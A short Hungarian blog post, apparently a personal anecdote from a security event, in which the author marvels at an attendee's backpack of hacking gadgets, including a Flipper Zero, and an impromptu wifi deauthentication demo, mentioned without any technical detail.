Eddig azt gondoltam, menthetetlen kütyü-mániám van, de a rendezvényre még egy laptopot sem vittem. Mások nem fogták ennyire vissza magukat. Megláttam egy Flipper Zero-t az egyik résztvevőnél, és megkérdeztem tőle, milyen firmware-t használ. Nem sejtettem, mit indítok el ezzel. Rövid időn belül előkerült az összes Flipper kiegészítő a táskájából. Akkor már mások is odajöttek, de a fickó csak pakolta ki az újabb és újabb kütyüket. Sőt, elővett két routert is és rögtönzött bemutatót tartott a wifi deautentikációról. Aztán elővett valami mikrokontrollert, amiről azt sem tudtam, micsoda, de mások elismerően bólogattak, mikor meglátták. Volt nála még egy vezeték nélküli forrasztó páka is(ha rosszindulatú lennék, azt mondanám, olyan tiszta volt a hegye, mintha soha nem használták volna). Majd mutatott valami elektromos puskába való lőszert, vagy mit. Szerencsére a zsaruk nem voltak a közelben. Kb. eddig bírtam, de a hátizsák tartalmának még a felét sem láttam. Csak egy könyvet. Kevin Mitnick-ről...

Megnéztem még néhány előadást, de mivel nem vagyok szakmabeli, nagyon nem kötöttek le. Összességében jó kis rendezvény volt.

Szólj hozzá!

Címkék: biztonság

süti beállítások módosítása